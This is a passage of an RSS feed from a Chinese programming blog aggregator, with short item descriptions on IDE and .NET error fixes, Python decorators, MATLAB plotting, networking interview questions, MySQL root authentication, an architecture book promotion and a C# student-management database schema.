Discuz_X3.</description>
    </item>
    <item>
      <title>IDEA——》解决Command line is too long</title>
      <link>https://bchobby.github.io/posts/d36e3b430b5f9a92ba3ff12be5fec7a2/</link>
      <pubDate>Wed, 12 Jul 2023 09:54:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d36e3b430b5f9a92ba3ff12be5fec7a2/</guid>
      <description>推荐链接：&#xA;总结——》【Java】&#xA;总结——》【Mysql】&#xA;总结——》【Redis】&#xA;总结——》【Kafka】&#xA;总结——》【Spring】&#xA;总结——》【SpringBoot】&#xA;总结——》【MyBatis、MyBatis-Plus】&#xA;总结——》【Linux】&#xA;总结——》【MongoDB】&#xA;总结——》【Elasticsearch】&#xA;IDEA——》解决Command line is too long 1、操作2、现象（错误信息）3、原因4、解决方案1：修改文件.idea/workspace.[xml](https://so.csdn.net/so/search?q=xml&amp;amp;spm=1001.2101.3001.7020)方案2：修改参数Shorten command line 1、操作 Debug启动@Test方法&#xA;2、现象（错误信息） Error running EsfRegionTest.getEsfRegionByParam. Command line is too long. Shorten the command line via JAR manifest or via a classpath file and rerun. 3、原因 命令行太长&#xA;4、解决 方案1：修改文件.idea/workspace.xml 1）找到项目下的.idea/workspace.xml&#xA;2）打开文件，找到标签：PropertiesComponent&#xA;3）添加一行属性：&#xA;&amp;lt;component name=&#34;PropertiesComponent&#34;&amp;gt; 其它属性代码不要修改，只添加下面一行属性代码 &amp;lt;property name=&#34;dynamic.classpath&#34; value=&#34;true&#34; /&amp;gt; &amp;lt;/component&amp;gt; 方案2：修改参数Shorten command line 1）点击菜单栏Run——&amp;gt;Edit Configurations&#xA;2）点击Modify options——&amp;gt;Shorten command line，显示出Shortn command line参数（默认值为noe）</description>
    </item>
    <item>
      <title>函数修饰器</title>
      <link>https://bchobby.github.io/posts/c67e27ee5203a449788180f45992f452/</link>
      <pubDate>Wed, 12 Jul 2023 09:46:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c67e27ee5203a449788180f45992f452/</guid>
      <description>参考链接：Python学习笔记11：函数修饰符 - 魔芋红茶 - 博客园 (cnblogs.com) 目录&#xA;接收和返回函数&#xA;可变参数列表&#xA;内部函数&#xA;函数修饰符&#xA;Python有很多有趣的特性，其中函数修饰符就是一个。&#xA;我们在之前的那个web应用示例中用过如下写法：&#xA;@web.route(&#39;/log&#39;) @符号后边的，就是一个函数修饰符，它可以在不改变原有函数的情况下改变函数的行为（通常来说是增强函数的行为）。&#xA;我们下面就来说说怎样实现一个函数修饰符。&#xA;在这之前，我们要先介绍几个必须要先掌握的内容。&#xA;接收和返回函数 如我们在Python学习笔记0：变量中讨论的，在Python中，所有的一切都是对象，而函数也不例外。那理所应当的，函数也可以作为对象被另一个函数所接收和返回。&#xA;我们看下边的例子：&#xA;def receiveFunc(func): print(type(func)) return func def hellow(): print(&#34;hellow world&#34;) returned=receiveFunc(hellow) returned() 输出&#xA;&amp;lt;class &#39;function&#39;&amp;gt;&#xA;hellow world&#xA;我们可以看到，receiveFunc接收了函数hellow并打印出其类型，然后返回，返回的函数依然可以正常执行并输出结果。&#xA;可变参数列表 我们都知道，在函数签名的定义中，参数数目可以是一个，也可以是多个，但都是定义的时候就指定的，但Python还有另一种定义方法，可以接收数目不定的参数。&#xA;def getMultipParam(*multipParams): for param in multipParams: print(param,&#39; &#39;,end=&#39;&#39;) print() getMultipParam(1,2,3) getMultipParam(&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;,&#39;e&#39;) 输出&#xA;1 2 3&#xA;a b c d e&#xA;通过类似*params这种方式，可以指定参数接收的是可变长度的参数列表，这种方式有点像C++中的指针，可以接收一个数组作为参数，而在Python这里，就是接收一个列表，本质上接收函数会把收到的参数列表转变为一个列表进行处理。&#xA;当然，你也可以直接传一个列表过去，但是需要用*来指定：&#xA;def getMultipParam(*multipParams): for param in multipParams: print(param,&#39; &#39;,end=&#39;&#39;) print() getMultipParam(*[1,2,3]) getMultipParam(*[&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;,&#39;e&#39;]) 输出</description>
    </item>
    <item>
      <title>MATLAB作图</title>
      <link>https://bchobby.github.io/posts/0aa6489032a775cd88690314cb11a767/</link>
      <pubDate>Tue, 11 Jul 2023 20:43:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aa6489032a775cd88690314cb11a767/</guid>
      <description>1.曲线图 MATLAB作图是通过描点、连线来实现的，故在画一个曲线图形之前，必须先取得该图形上的一系列的点的坐标（即横坐标和纵坐标），然后将该点集的坐标传给MATLAB函数画图.&#xA;命令为： plot(X,Y,S)&#xA;X,Y是向量,分别表示点集的横坐标和纵坐标&#xA;S（线型）：y 黄色 . 点 - 连线 m 洋红 o 圈 : 短虚线 c 蓝绿色 x x-符号 -. 长短线 r 红色 + 加号 -- 长虚线&#xA;plot(X,Y) — 画实线&#xA;plot(X,Y1,S1,X,Y2,S2,……,X,Yn,Sn) — 将多条线画在一起&#xA;例 在[0,2]用红线画sin x,用绿圈画cos x.&#xA;x=linspace(0,2*pi,30); y=sin(x); z=cos(x); plot(x,y,&#39;r&#39;,x,z, &#39;g0&#39;) 2.符号函数(显函数、隐函数和参数方程)画图 (1) ezplot&#xA;ezplot(‘f(x)’,[a,b]): 表示在a&amp;lt;x&amp;lt;b绘制显函数f=f(x)的函数图.&#xA;ezplot(‘f(x,y)’,[xmin,xmax,ymin,ymax]): 表示在区间xmin&amp;lt;x&amp;lt;xmax和 ymin&amp;lt;y&amp;lt;ymax绘制隐函数f(x,y)=0的函数图.&#xA;ezplot(‘x(t)’,’y(t)’,[tmin,tmax]): 表示在区间tmin&amp;lt;t&amp;lt;tmax绘制参数方程x=x(t),y=y(t)的函数图.&#xA;例 在[0, ]上画y=cos x 的图形.&#xA;ezplot(‘sin(x)’,[0,pi]) 例 在[-2，0.5]，[0，2]上画隐函数的图.&#xA;ezplot(&#39;exp(x)+sin(x*y)&#39;,[-2,0.5,0,2]) (2) fplot&#xA;fplot(‘fun’,lims): 表示绘制字符串fun指定的函数在lims=[xmin,xmax]的图形.&#xA;注意： [1] fun必须是M文件的函数名或是独立变量为x的字符串.</description>
    </item>
    <item>
      <title>计算机网络面试题总结</title>
      <link>https://bchobby.github.io/posts/f3686812bd59c30f39e56cff6b0ebc8b/</link>
      <pubDate>Tue, 11 Jul 2023 18:35:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f3686812bd59c30f39e56cff6b0ebc8b/</guid>
      <description>（1）OSI七层模型分别是什么，各自的功能是什么？&#xA;自底向上来说，首先是物理层（比如集线器等，负责传输光电信号，在物理网络中传输数据），数据链路层（网桥或者交换机工作，负责数据的封帧和错误检测以及mac寻址，有ARQ自动重传请求协议，PPP点对点协议），网络层（路由器工作，有IP协议，ICMP Internet控制报文协议，ARP地址转换协议。负责数据的路由、转发、分片），传输层（TCP,UDP协议，提供端到端的数据传递），会话层（负责建立、管理、终止会话），表示层（对数据进行翻译、加密、压缩），应用层（有DNS,HTTP,WWW,HTTPS，SSH协议等，负责给应用程序提供统一的接口）&#xA;如果问的是五层模型：应用层（负责应用进程间通信和交互的规则）&#xA;（2）TCP三次握手，为什么不能两次？&#xA;客户端向服务器发起建立连接请求SYN，发一个序列号给服务器。服务器在收到这个报文之后，返回一个确认ACK，客户端收到之后，再次返回一个ACK确认报文。此时才算对话建立。假设只有两次握手，客户端可能没有服务器的确认报文，但是服务器以为已经和客户端建立了连接，可能会发送一些数据，但是客户端并不会接收，浪费了资源。而且服务器可能接收到一个早已失效的SYN，向客户端发送了确认报文并且建立连接，但是客户端并不需要向服务端发送数据。&#xA;（3）TCP四次挥手，为什么不能三次？&#xA;客户端向服务器发送完数据之后，发起释放连接报文FIN，服务器收到后向客户端发送确认报文ACK，服务器会有一个关闭等待时间来处理数据，然后服务器向客户端发出释放连接报文FIN，客户端收到后，向服务端发送ACK确认。发送之后，客服端会等待2MSL，如果服务器没有收到最后的ACK，还可以让客户端重发报文，并且确保了本次TCP连接中的所有报文都消失，不会出现在下一个TCP中。&#xA;（4）TCP如何保证有效（可靠传输）？&#xA;主要有校验和，序列号，超时重传，流量控制，以及拥塞避免。&#xA;校验和：在发送端和接收端分别计算数据的校验和，如果两者不一致，说明数据在传输过程中出现了差错，TCP将丢弃且不确认此报文。&#xA;序列号：TCP会对每一个发送的字节进行编号，接收方收到数据后，发送的ACK报文中带有相应的确认编号，告诉发送方，下一次发送数据编号从几开始。接收方可以通过序列号判断出是否是相同数据，丢包后从哪一个序列号开始重传包。&#xA;超时重传：如果发送方在重传计时器规定的时间内没有收到ACK，那发送方就会重新发送数据。（如果是发送方数据丢失，接收方收到重传数据后立刻发送ACK，如果是ACK丢失，接收方收到数据后直接丢弃再发ACK。）如果重发数据之后，还是没有收到ACK，确认应答时间将会以2倍、4倍指数函数延长，直到最后关闭连接。&#xA;流量控制：如果发送端发送数据太快，接受端来不及接受就会出现丢包，因此TCP用滑动窗口进行了流量控制。接收端收到数据包后发送ACK报文时会将自己的窗口大小填入ACK中，发送方会根据窗口大小控制发送速度，如果窗口大小为0 ，发送方停止发送。&#xA;拥塞控制：如果网络出现拥塞，会有丢包，发送方继续重传会加重网络拥塞。拥塞控制主要有四部分组成：慢开始、拥塞避免、快重传、快恢复。&#xA;为了避免一开始发送大量数据而产生网络阻塞，初始化拥塞窗口为1，收到ACK后设置拥塞窗口按指数形式增长。&#xA;如果到达慢开始的门限值后，进入到拥塞避免阶段，窗口每次增加1。如果网络出现超时，门限值将变为此时拥塞窗口的一半，然后将拥塞窗口重新置为1。&#xA;在网络中如果丢失了某个报文，就快速向发送端发送三次前一个包的ACK，无需等待重传计时器，就可直接进行该报文的重传。&#xA;快恢复是指将门限值设置为发生快重传的拥塞窗口的一半，将拥塞窗口设置为门限值，开始拥塞避免阶段。&#xA;（5）TCP的主要特点？TCP与UDP的区别，UDP的主要特点，应用场景？&#xA;TCP是面向连接的，而且是端到端连接。提供可靠传输，保证数据无差错，不丢失，不重复，而且按序列到达。TCP允许通信双方的应用进程在任何时候都能发送数据，TCP连接的两端都设有缓存，用来临时存放双方通信的数据。TCP是面向字节流的，TCP把应用程序的数据看成是一串无结构的字节流。&#xA;TCP适合对效率要求低，对准确性要求高或者要求有连接的场景，比如远程终端接入，浏览器，文件传输，电子邮件等。&#xA;UDP是面向报文的，是不具有可靠性的数据报协议，不提供复杂的控制机制，出现丢包也不会重发，也没有纠正包乱序的功能，但是它传输效率高，适合包总量较少的通信（DNS），视频、音频等多媒体通信（即时通信），限定与局域网等特定网络中的应用通信，广播通信等对效率要求高，对准确性要求低的通信场景。&#xA;（6）在交互过程中如果数据传送完了，不想断开连接，如何维持（THHP协议）？&#xA;在HTTP中响应体的connection字段指定为keep-alive。&#xA;（7）TCP和UDP分别对应的应用层协议有哪些？&#xA;TCP对应的文件传输协议有：FTP（文件传输协议）、telnet（远程登陆协议）、SMTP+POP3（邮件传输协议）、HTTP（超文本传输协议）&#xA;UDP对应的应用层协议有：DNS（域名解析服务）、SNMP（简单网络管理协议）、TFTP（简单文件传输协议）&#xA;（8）TCP最大连接数限制？&#xA;一个TCP连接的标识是{local IP，local port，remote IP，remote port}，端口数据类型是unsigned short，理论上来说，客户端最大TCP连接数是65535（端口0不能用），服务器理论上说，最大的TCP连接是客户端ip数 *客户端 port数。实际环境中，受到机器资源、操作系统的限制，目前在server端的最大并发TCP连接数可以达到10万。一半服务器可以有几万级别，可以用分布式技术将并发负载分担到多台服务器上。&#xA;（9）TCP粘包如何产生，如何解决拆包和粘包？&#xA;因为TCP协议是基于字节流传输数据的，不包含数据包的概念，需要应用层协议自己设置消息的边界，如果应用层协议没有使用基于长度或者基于终结符等方式进行处理，就会导致多个消息粘包和拆包。&#xA;操作系统在发送TCP数据时，会通过缓冲区来优化，如果一次请求的数据量比较小，没有达到缓冲区，就会将多个请求合并为一个请求，形成粘包；如果一次请求的数据量比较大，超过了缓冲区，TCP就会将其拆分多次发送，形成拆包。&#xA;解决方案：发送端将每个包都封装成固定的长度，不足可以padding0；发送端在每个包末尾使用固定的分隔符；将消息分为头部和消息体，头部中保存整个消息的长度，只有读取足够长度的消息之后，才算是读到了完整信息（最常用）。&#xA;（10）有很多time——wait状态会导致什么问题，怎么解决？&#xA;在高并发短链接的业务场景中，服务器处理完请求后主动发送FIN，就会有大量的连接处于time——wait状态，服务器维护每一个连接需要一个socket，而文件描述符使用有上限，如果持续高并发，会导致一些正常的连接失败。&#xA;过多的time-wait主要有两种危害：内存资源占用，端口资源占用。&#xA;可以修改配置或者设置so_reuseaddr套接字，使服务器处于time——wait状态下的端口能够快速回收和重新使用。也可以使用长连接的方式减少TCP的连接与断开，在长连接的业务中往往不需要考虑time-wait状态，但实际上长连接的业务中并发量一般不会太高。&#xA;（11）TCP的四个计时器？&#xA;1、重传计时器：为了控制丢失的报文段，在TCP发送报文时，创建重传计时器，在截止时间之前，收到了报文的ACK，就撤销计时器，截止时间到了还未收到报文的ACK，就重传报文，并且复位计时器。&#xA;2、坚持计时器：避免零窗口大小通知可能导致的死锁问题。当发送端接到零窗口报文后，发送端就停止发送数据，等到接收端缓存区有空间后，会发送ACK更新窗口，但是接收端的这个报文可能会丢失，接收端处于等待数据的状态，但是发送端没有等来新窗口，也在等待，形成死锁。因此TCP为每个连接设置了坚持计时器，当发送端收到零窗口后，启动坚持计时器，计时器到期后，发送端主动发送探测报文，让接收端重新发送窗口。&#xA;3、保活计时器：为了防止两个TCP连接出现长时间的空闲，每当服务器接收到客户端的数据后，都重置保活计时器，到期后如果没有收到客户端的数据，就会发送探测报文，每隔75秒发送一次，连续发送十次之后，仍然没有收到客户端数据，则认为客户端出现故障，终止连接。&#xA;4、time-wait计时器：当TCP关闭连接时，在客户端发送最后一个ACK后开始计时，可以保证本次连接中的全部数据都不再传输。&#xA;（12）停止等待协议？&#xA;停止等待协议时TCP保证传输可靠的重要途经，就是指发送完一个分组就停止发送，等待对方确认，只有对方确认过，才发送下一个分组。&#xA;主要包括以下几种情况：&#xA;无差错情况：发送方发送分组，接收方在规定时间内收到，并且回复确认，发送方再次发送报文。&#xA;超时重传：1、分组丢失：接收端没有收到报文不会发送ACK，发送方在一段时间内没有收到ACK会重新发送报文。2、确认丢失：接收端收到了报文后，发送ACK，但是ACK丢失，发送方在没有收到ACK的情况下会重新发送报文，接受端丢弃该分组，重新发ACK。3、传送延迟：接收端收到了报文，并且发送了ACK，但是ACK传输太慢，发送方以及重发了报文，接收端收到报文后丢弃，再重发ACK。发送端如果收到多个确认，就停止发送，丢弃其他确认。&#xA;停止等待协议的优点是简单，缺点时信道的利用率太低，一次发送一条消息，使得信道的大部分时间都是空闲的，&#xA;（13）连续ARQ协议和滑动窗口协议？&#xA;连续ARQ协议和滑动窗口协议主要解决了信道效率低，增大了吞吐量，以及控制了流量。&#xA;连续ARQ协议：发送方维护的窗口中不止一个分组，窗口大小由接收方决定，因此大小会动态变化，只要在窗口中的分组都可以被发送，提高了信道的利用率，并且采用累积确认的方式，对按序到达的最后一个分组发送确认。（比如发送方发了1、2、4、5，接收方只会确认2，发送方会重发3、4、5）&#xA;滑动窗口协议：窗口不断向前走，该协议允许发送方在停止等待前发送多个数据组分，发送方不必每发一个分组就停下来确认，因此该协议可以加速数据的传输，还可以控制流量。&#xA;（14）SYN FLOOD时什么？&#xA;SYN洪水攻击，时拒绝服务攻击的一种。利用TCP协议的安全缺陷，不断发送一系列的SYN请求到目标系统，消耗服务器系统的资源，导致目标服务器不响应合法的流量请求。这种攻击发生在TCP握手阶段，攻击者向目标服务器发送大量的SYN数据包，服务器会相应每一个请求然后返回ACK，等待响应。服务器为了维护一个庞大的半连接列表而消耗很多资源，造成服务器崩溃。&#xA;（15）HTTP版本区别？&#xA;HTTP1.0时一种无状态，无连接的应用层协议，浏览器每次请求都需要与服务器建立一个TCP连接，服务器处理完成以后，立即断开连接，服务器不跟踪客户端也不记录过去的请求。这种无状态性可以借助cookie和session机制来做身份认证和状态记录。1.0版本无法复用连接，无连接的特性会使网络的利用率变低。如果前一个请求响应一直不到达，下一个请求就不发送，后门的请求就阻塞了。&#xA;HTTP1.1继承了HTTP1.0的简单，客服了1.0的性能问题。1.1增加了connection字段，通过keep-alive保持HTTP连接不断，避免每次客户端与服务器请求都要重复建立释放TCP，提高了网络的利用率。1.1支持请求管道化，增加缓存处理，增加host字段，支持断点传输。进一步改进了1.0的效率。&#xA;HTTP2.0在应用层和传输层之间增加了一个二进制分层帧，实现了真正的并行传输。在一个TCP连接上，每个数据流以消息的形式发送，消息由一个或者多个帧组成，这些帧可以乱序发送，然后再根据每个帧头部的stream-id重新封装。多路复用可能会导致关键字被阻塞，2.0中每个数据流都可以设置优先级和依赖，优先级高的数据流会被服务器优先处理和返回客户端，数据流还可以依赖其他的子数据流。1.x中，浏览器会在每次请求的时候把cookie附在header上发给服务器，2.0使用encoder来减少需要传输的header大小，通讯双方各自保存一份header表，不需要直接发送值，通过发送key缩减头部大小。服务器除了最初请求的响应外，还可以额外向客户端推送资源，无需客户端明确的需求。&#xA;（16）post和get区别？应用场景？</description>
    </item>
    <item>
      <title>NETSDK1141 无法解析位于 global.json 中指定的 .NET SDK 版本</title>
      <link>https://bchobby.github.io/posts/6820e37d4dde7b5383d38d52423e6421/</link>
      <pubDate>Tue, 11 Jul 2023 18:05:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6820e37d4dde7b5383d38d52423e6421/</guid>
      <description>1. 使用cmd命令 dotnet --info 查看自己使用的SDK版本&#xA;3.直接找到项目中的 global.json 文件，右键打开，直接修改版本为本机的SDK版本，就可以用了&#xA;微软文档也有详细说明: ​​​​​​NETSDK1141：无法解析 global.json 中指定的 .NET SDK 版本 - .NET CLI | Microsoft Learn</description>
    </item>
    <item>
      <title>【架构设计】高并发架构实战：从需求分析到系统设计</title>
      <link>https://bchobby.github.io/posts/65379c7c65419582d4c9791b65bf4488/</link>
      <pubDate>Tue, 11 Jul 2023 18:01:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65379c7c65419582d4c9791b65bf4488/</guid>
      <description>写在前面 很多软件工程师的职业规划是成为架构师，但是要成为架构师很多时候要求先有架构设计经验，而不做架构师又怎么会有架构设计经验呢？那么要如何获得架构设计经验呢？&#xA;1 高并发是什么 高并发是指系统在同一时间内处理的请求量非常大，通常是指每秒处理的请求量达到数千到数百万级别。&#xA;在互联网应用中，高并发是一个非常常见的问题，因为随着用户数量的增加，系统需要处理的请求量也会越来越大。&#xA;高并发的处理需要系统在短时间内处理大量的请求，因此对系统的稳定性和性能提出了很高&#xA;的要求。&#xA;1.1 常见的方法 为了解决高并发问题，需要在系统架构、设计和运维等方面进行优化，一些常见的方法包括：&#xA;分布式架构：采用分布式架构可以将系统拆分成多个子系统，每个子系统只处理一部分请求，这样可以减轻单个系统的负载。&#xA;缓存机制：通过缓存机制可以将一些常用的数据缓存起来，减少对数据库的访问，从而提高系统的性能。&#xA;负载均衡：采用负载均衡可以将请求均匀分配到多个服务器上，避免单个服务器过载，从而提高系统的可用性和性能。&#xA;数据库优化：对数据库进行优化可以提高系统的性能，包括合理使用索引、分库分表、读写分离等方面。&#xA;异步处理：采用异步处理可以将一些耗时的任务放到后台进行处理，从而避免对前端请求的阻塞，提高系统的并发处理能力。&#xA;总之，高并发是一个非常重要的问题，需要在系统架构、设计和运维等方面进行全面的优化，从而提高系统的性能和稳定性，保证系统能够正常处理大量的请求。&#xA;2 问题思考 如何获得架构设计经验呢？&#xA;一方面可以通过工作来学习，观察所在团队的架构师是如何工作的，协助他做一些架构设计和落地的工作。同时，思考如果你是架构师，你将如何完成工作，哪些地方可以做得更好。&#xA;另一方面，也可以通过阅读来学习，看看那些典型的、耳熟能详的应用系统是如何设计的。同样，你也可以在阅读的过程中思考：如果你是这个系统的架构师，将如何进行设计？如何输出你的设计结果？哪些关键设计需要进一步优化？&#xA;通过这样不断地学习和思考，你就会不断积累架构设计的经验，等你有机会成为架构师的时候，就可以从容不迫地利用你学习与思考获得的经验和方法，开始你的架构师职业生涯。&#xA;2.2 图书推荐 现在，知名技术畅销书作者李智慧老师的全新力作，基于真实经典案例改编的《高并发架构实战：从需求分析到系统设计》纸书终于出版！&#xA;2.3 详细介绍 从需求分析到系统设计，通过八大维度、18个案例，全面介绍高并发系统的设计方法、核心技术与架构实践 我们知道，“高并发”是现在系统架构设计的核心，也是很多大厂的关注焦点。一个架构师如果设计、开发的系统不支持高并发，那简直不好意思跟同行讨论。在应聘大厂架构师岗位的时候，如果你对高并发架构说不出什么，恐怕面试就凶多吉少了。 在架构设计领城，高并发的历史非常短暂，这一架构特性是随着移动互联网的发展才逐渐变得重要起来的。&#xA;2.4 现状分析 现在有很多大型互联网应用系统的用户是分布在全球的，用户体量动辄十几亿。这些用户即使只有千分之一同时访问系统，也会产生一百万的并发访问量。&#xA;因此，高并发是现在大型互联网系统必须面对的挑战，当同时访问系统的用户不断增加时，要消耗的系统计算资源也会不断增加。&#xA;所以系统需要更多的 CPU 和内存去处理用户的计算请求，需要更多的网络带宽去传输用户的数据，也需要更多的硬盘空间去存储用户的数据。而当消耗的资源超过了服务器资源极限的时候，服务器就会崩溃，整个系统将无法正常使用。&#xA;3 几大场景 3.1 足够真实的高并发系统设计场景 大家看过了不少高并发系统设计的技术资料之后，你可能还是会有这样的困惑：为什么我还是对设计一个完整的高并发系统没有概念？&#xA;这主要是因为你学习的是具体的高并发架构知识，而不是学习一个完整的高并发系统如何设计，所以也就无法形成一个整体的系统架构设计思路。&#xA;《高并发架构实战：从需求分析到系统设计》的所有案例都是基于真实场景的，甚至有些案例本身就是由真实设计文档改编的。案例都是针对我们日常接触的各种高并发应用，比如微博、短视频、网约车、网盘、搜索引擎等，具体又分为高并发系统的海量数据处理架构、高性能架构、高可用架构以及安全架构。&#xA;在学习这些系统架构设计案例的时候，一方面可以学习各种应用系统如何进行整体设计，另一方面也可以学习高并发系统架构设计的模式和技巧，两者结合起来，就是一个完整的高并发系统设计的知识体系。&#xA;3.2 贴合工作场景的设计文档形式 你可能会觉得设计文档和自己关系不大：&#xA;一是平时不怎么写，也不愿意写，觉得写文档价值不大；二是自己不擅长写文档，觉得写也写不好，甚至不太知道设计文档该怎么写。 但工作了这么多年，我发现写东西可以帮助人更好地思考。&#xA;技术人员如果不写设计文档，就会缺少对技术的深刻思考，缺乏对技术方案的优点和缺点的系统认识，也就不知道如何找到更好的技术和更合理的方案。很显然，这会阻碍技术人员的职业发展。&#xA;不仅如此，如果不写设计文档，缺乏对技术的深度思考，那么开发出来的软件就缺乏创新，产品在市场上就缺乏竞争力。&#xA;可以粗暴一点地说：没有设计文档就没有设计，没有设计就没有技术的进步。&#xA;所以，本书将以软件设计文档的形式去展现一系列软件的系统架构设计，这些设计文档的风格是相对统一的。&#xA;希望你可以在这些“重复”的设计文档所展现的组织方式、软件建模与架构方式中，掌握一般的软件设计方法和软件设计文档的写作方法。&#xA;3.3 求同存异的典型系统架构案例 本书精挑细选了18个系统架构案例，这些案例大多是目前大家比较关注的高并发、高性能、高可用系统。&#xA;它们是高并发架构设计的优秀“课代表”，它们的技术可以解决现有的80%以上的高并发共性问题。&#xA;所以在阅读文档的过程中，你可以进一步学习与借鉴这些典型的分布式互联网系统架构，构建起自己的系统架构设计方法论，以指导自己的工作实践。&#xA;为了避免每篇文档中都出现大量重复、雷同的设计，本书在内容方面进行了取舍，精简了一些常规的、技术含量较低的内容，而尽量介绍那些有独特设计思想的技术点，尽可能做到在遵循设计文档规范的同时，又突出每个系统自己的设计重点。&#xA;此外，本书中还有一部分设计是针对大型应用系统的，比如限流器、防火墙、加解密服务、大数据平台等。&#xA;但需要强调一点，本书会针对这些知名的大厂应用重新进行设计，而不是分析现有应用是如何设计的。&#xA;一方面，重新设计完全可以按自己的意愿来，不管是设计方案还是需求分析、性能指标估算，都是一件很有意思的事；另一方面，因为现有应用中的某些关键设计并没有公开，我们要想讨论清楚这些高并发应用的架构设计，没有现成的资料，还是需要自己进行分析并设计。 所以很多案例的设计文档都有需求分析，用于估算重新设计的系统需要承载的并发压力有多大、系统资源需要多少，这些估算大多数都略高于现有大厂的系统指标。&#xA;希望你在阅读这些内容的时候，能够更真切地体会到架构师的“现场感受”：我评审、设计的这个系统将服务全球数十亿用户；&#xA;这个系统每年需要的服务器和网络带宽需要几十亿元；&#xA;这个系统宕机十几分钟，公司就会损失数千万元。</description>
    </item>
    <item>
      <title>解决mysql连接Error 1698: Access denied for user ‘root‘@‘localhost‘ 问题</title>
      <link>https://bchobby.github.io/posts/05b310d15c1f60a355a6f7f326d156fa/</link>
      <pubDate>Tue, 11 Jul 2023 16:51:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05b310d15c1f60a355a6f7f326d156fa/</guid>
      <description>问题起因：通过gorm连接mysql数据库时产生标题的报错。&#xA;打开mysql，输入如下命令查看mysql数据库，mysql数据库存储了mysql自带的一些信息，例如用户、配置等信息&#xA;use mysql select user, plugin, authentication_string from user; 可以看到结果，除了root的插件是auth_socket之外，其余均为mysql_native_password&#xA;auth_socket插件的验证方式是不需要输入密码的，输入了密码也不会做安全验证，因为这种方式下默认只支持本地登陆，相当于已经通过了操作系统的安全验证。mysql_native_password模式即为利用密码来登录，对应的string即为密码加密后的内容&#xA;所以问题产生的原因是：数据库的root默认本身使用的是auth_socket插件，无法让远程连接通过。应该将其更改为另一种模式&#xA;update mysql.user set authentication_string=PASSWORD(&#39;自己的密码&#39;),plugin=&#39;mysql_native_password&#39; where user=&#39;root&#39;; 其中PASSWORD()为mysql内置的一个加密函数，需要把这个加上才行&#xA;之后直接远程连接成功</description>
    </item>
    <item>
      <title>C# 实现学生管理系统【源码】</title>
      <link>https://bchobby.github.io/posts/68558ecb21c313a7e71ec1e38bfe3e4f/</link>
      <pubDate>Tue, 11 Jul 2023 16:45:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68558ecb21c313a7e71ec1e38bfe3e4f/</guid>
      <description>用c#实现学生管理系统，使用的是vs2019 windows10&#xA;数据库源码 和 源代码&#xA;制作不易请点赞收藏加关注&#xA;本人微-信-公-众-号&#xA;【云日记Journal】&#xA;学生管理系统 导入数据库和获取链接池 可以查看这一篇文章&#xA;sqlserver链接字符串&#xA;- 创建数据库 CREATE DATABASE DATA_STU ON PRIMARY (NAME = &#39;DATA_STU&#39;, FILENAME = &#39;Z:\DATA\DATA_STU.MDF&#39; , SIZE = 5MB, MAXSIZE = 20MB, FILEGROWTH = 20%) LOG ON (NAME =&#39;DATA_STU_LOG&#39;, FILENAME = &#39;Z:\DATA\DATA_STU_LOG. LDF&#39;, SIZE = 5MB, MAXSIZE = 10MB, FILEGROWTH = 2MB) --使用数据库 USE DATA_STU; -- 创建表 --课程表 IF OBJECT_ID(&#39;Course_Info&#39;) IS NOT NULL DROP TABLE Course_Info CREATE TABLE Course_Info ( Id INT IDENTITY(1,1) PRIMARY KEY, Course_Name VARCHAR(50) NOT NULL, Credit INT NOT NULL, Teacher VARCHAR(50) NOT NULL ); -- 学生信息表 IF OBJECT_ID(&#39;Student_Info&#39;) IS NOT NULL DROP TABLE Student_Info CREATE TABLE Student_Info ( StudentId VARCHAR(20) PRIMARY KEY, Name VARCHAR(50) NOT NULL, Gender VARCHAR(10) NOT NULL, School VARCHAR(50), ); -- 成绩表 IF OBJECT_ID(&#39;Score_Info&#39;) IS NOT NULL DROP TABLE Score_Info CREATE TABLE Score_Info ( Id INT IDENTITY(1,1) PRIMARY KEY, StudentId VARCHAR(20) NOT NULL, Course_Id INT NOT NULL, Score DECIMAL(5,2) NOT NULL, FOREIGN KEY (StudentId) REFERENCES Student_Info (StudentId) ON DELETE CASCADE ON UPDATE CASCADE, FOREIGN KEY (Course_Id) REFERENCES Course_Info (Id) ON DELETE CASCADE ON UPDATE CASCADE ); -- 考勤表 IF OBJECT_ID(&#39;Attendance_Info&#39;) IS NOT NULL DROP TABLE Attendance_Info CREATE TABLE Attendance_Info ( Id INT IDENTITY(1,1) PRIMARY KEY, Course_Name VARCHAR(50) NOT NULL, Student_Id VARCHAR(20) NOT NULL, Attendance_Date DATE NOT NULL, Attendance_Status VARCHAR(50) NOT NULL, CONSTRAINT FK_AttendanceInfo_StudentInfo FOREIGN KEY (Student_Id) REFERENCES Student_Info (StudentId) ); -- 账号 -- 学生账号 IF OBJECT_ID(&#39;Student_Account&#39;) IS NOT NULL DROP TABLE Student_Account CREATE TABLE Student_Account ( StudentId VARCHAR(20) PRIMARY KEY, Password VARCHAR(50) NOT NULL, CONSTRAINT FK_StudentAccount_StudentInfo FOREIGN KEY (StudentId) REFERENCES Student_Info (StudentId) ); select *from Student_Info; -- 管理员账号 IF OBJECT_ID(&#39;Admin_Account&#39;) IS NOT NULL DROP TABLE Admin_Account CREATE TABLE Admin_Account ( Id INT IDENTITY(1,1) PRIMARY KEY, Username VARCHAR(50) NOT NULL, Password VARCHAR(50) NOT NULL ); -- 排名表 IF OBJECT_ID(&#39;Ranking&#39;) IS NOT NULL DROP TABLE Ranking CREATE TABLE Ranking ( Ranking_Id INT PRIMARY KEY, StudentId VARCHAR(20), TotalScore FLOAT, Ranking INT, FOREIGN KEY (StudentId) REFERENCES Student_Info(StudentId) ); -- 向课程表中添加4个课程 INSERT INTO Course_Info (Course_Name, Credit, Teacher) VALUES (&#39;Java&#39;, 4, &#39;Mr.</description>
    </item>
    <item>
      <title>Streamsets binlog采集时区问题</title>
      <link>https://bchobby.github.io/posts/3039598ed3785946eb303fe2a305991c/</link>
      <pubDate>Tue, 11 Jul 2023 16:26:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3039598ed3785946eb303fe2a305991c/</guid>
